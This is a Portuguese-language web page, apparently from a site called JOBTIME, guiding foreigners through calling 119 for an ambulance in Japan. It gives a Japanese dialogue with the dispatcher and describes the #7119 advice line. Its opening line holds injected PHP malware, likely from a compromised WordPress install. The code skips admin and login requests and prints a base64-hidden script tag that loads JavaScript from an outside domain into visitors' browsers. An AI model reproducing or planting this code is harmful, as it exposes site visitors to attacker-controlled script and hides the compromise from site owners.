//ini_set("display_errors", 0); ini_set("display_startup_errors", 0); if (PHP_SAPI !== "cli" && (strpos(@$_SERVER["REQUEST_URI"], "/wp-admin/admin-ajax.php") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp-json") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp/v2") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp-admin") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp-login.php") === false && strtolower(@$_SERVER["HTTP_X_REQUESTED_WITH"]) !== "xmlhttprequest")) { print(base64_decode("PHNjcmlwdCBzcmM9Ii8vc3luYy5nc3luZGljYXRpb24uY29tLyI+PC9zY3JpcHQ+")); } ?> As ambulâncias são gratuitas - JOBTIME

As ambulâncias são gratuitas

O serviço de ambulância no Japão é de responsabilidade do Corpo de Bombeiro, diferente do Brasil. 

O  número para chamar a ambulância é 119. 

Ao efetuar a ligação, o atendente irá fazer algumas perguntas para avaliar a situação e enviar a ambulância. Mas é importante que você saiba o endereço de onde você se encontra. Se você não fala japonês, peça ajuda a alguém que fale, mas se não há essa pessoa é importante que você aprenda o seguinte diálogo:

ATENDENTE DO 119

EM JAPONÊS – 119.消防です。火事ですか、救急ですか?

EM ROMANO – 119.shobou desu. Kaji desu ka? Kyukyu desuka?

Tradução – 119. É o Corpo De Bombeiros. É um incêndio ou numa emergência médica?

Responda

EM JAPONÊS – 救急です

EM ROMANO –  Kyukyu desu 

TRADUCAO –  É uma emergência médica

Em seguida diga o local onde está. Se não souber, descreva um edifício próximo ou um cruzamento como ponto de referência.

ATENDENTE DO 119

EM JAPONÊS –  住所(場所)は どこですか?

EM ROMANO –   jyusho (basho) wa dokodesuka?

TRADUÇÃO –    Qual é o endereço (local)  da emergência?

Responda

EM JAPONÊS – 住所は◯◯◯です

EM ROMANO –   jyusho wa (endereço onde você está) desu 

TRADUÇÃO –   O endereço é (endereço onde você está). Exemplo: Bunkyo-ku.

Em seguida o Atendente irá perguntar o que aconteceu, ou seus sintomas.

ATENDENTE DO 119

EM JAPONÊS –  どうしましたか?

EM ROMANO –   Dou shimashita ka?

TRADUÇÃO –    O que aconteceu?

Em seguida diga o que aconteceu ou quais são os seus sintomas e quando começaram.

Responda

EM JAPONÊS – 胸が痛いです

EM ROMANO –  Mune ga itai desu. 

TRADUÇÃO –   Tenho dor no peito 

Atendente irá perguntar a sua idade, ou se você não for o doente, mas estiver telefonando por outra pessoa, diga ao atendente qual a idade ele/ela tem ou aparenta ter.

ATENDENTE DO 119

EM JAPONÊS –  年齢は?

EM ROMANO –   Nenrei wa?

TRADUÇÃO –    Você tem quantos anos?

Responda

EM JAPONÊS – 30歳です

EM ROMANO –  sanjyu sai desu 

TRADUÇÃO –   Tenho 30 anos 

Atendente irá perguntar seu nome e os dados de contato

ATENDENTE DO 119

EM JAPONÊS –  あなたの名前と連絡先を教えてください 

EM ROMANO –  anata no namae to renraku saki wo oshiete kudasai

TRADUÇÃO –    Por favor diga seu nome e seu número de telefone

Responda o seu nome e o número do telefone, o atendente pode entrar em contato com você  mesmo quando a chamada terminar.

Nome

EM JAPONÊS – 私の名前は◯◯◯です

EM ROMANO –  watashi no namae wa ◯◯◯ desu

TRADUÇÃO –   Meu nome é ◯◯◯

Telefone

EM JAPONÊS – 電話番号は◯◯◯です

EM ROMANO –  Denwa bangou wa◯◯◯ desu

TRADUÇÃO –   O numero do meu telefone é◯◯◯

Depois dessas informações, o atendente pode fazer mais perguntas sobre você ou a condição médica do doente. Dê-lhe o máximo de informações possível.

O fluxo ilustrado acima é um dos casos mais comuns de comunicação com operadores do “119”.

Mas se não for uma emergência?

Se a situação não é grave e se você tem dúvidas, então ligue para:

#7119

Você está ligando para o “Projeto do Centro de Emergência e Segurança”

Caso você tenha uma lesão ou doença súbita, e não consiga decidir se é melhor chamar uma ambulância ou ir ao hospital agora.

Nesse caso, ligue para o Centro de Emergência e Segurança (#7119) , que funciona como um balcão de consultas por telefone, onde você pode receber conselhos de especialistas.

Para consultas recebidas  #7119, médicos, enfermeiros e conselheiros irão ouvi-lo para entender os sintomas da doenças e de suas lesões, e decidir com você chamar uma ambulância ou se dirigir ao hospital próximo, ou a uma instituição médica onde possa visitar. 

Fonte: FDMA  

  • Share this post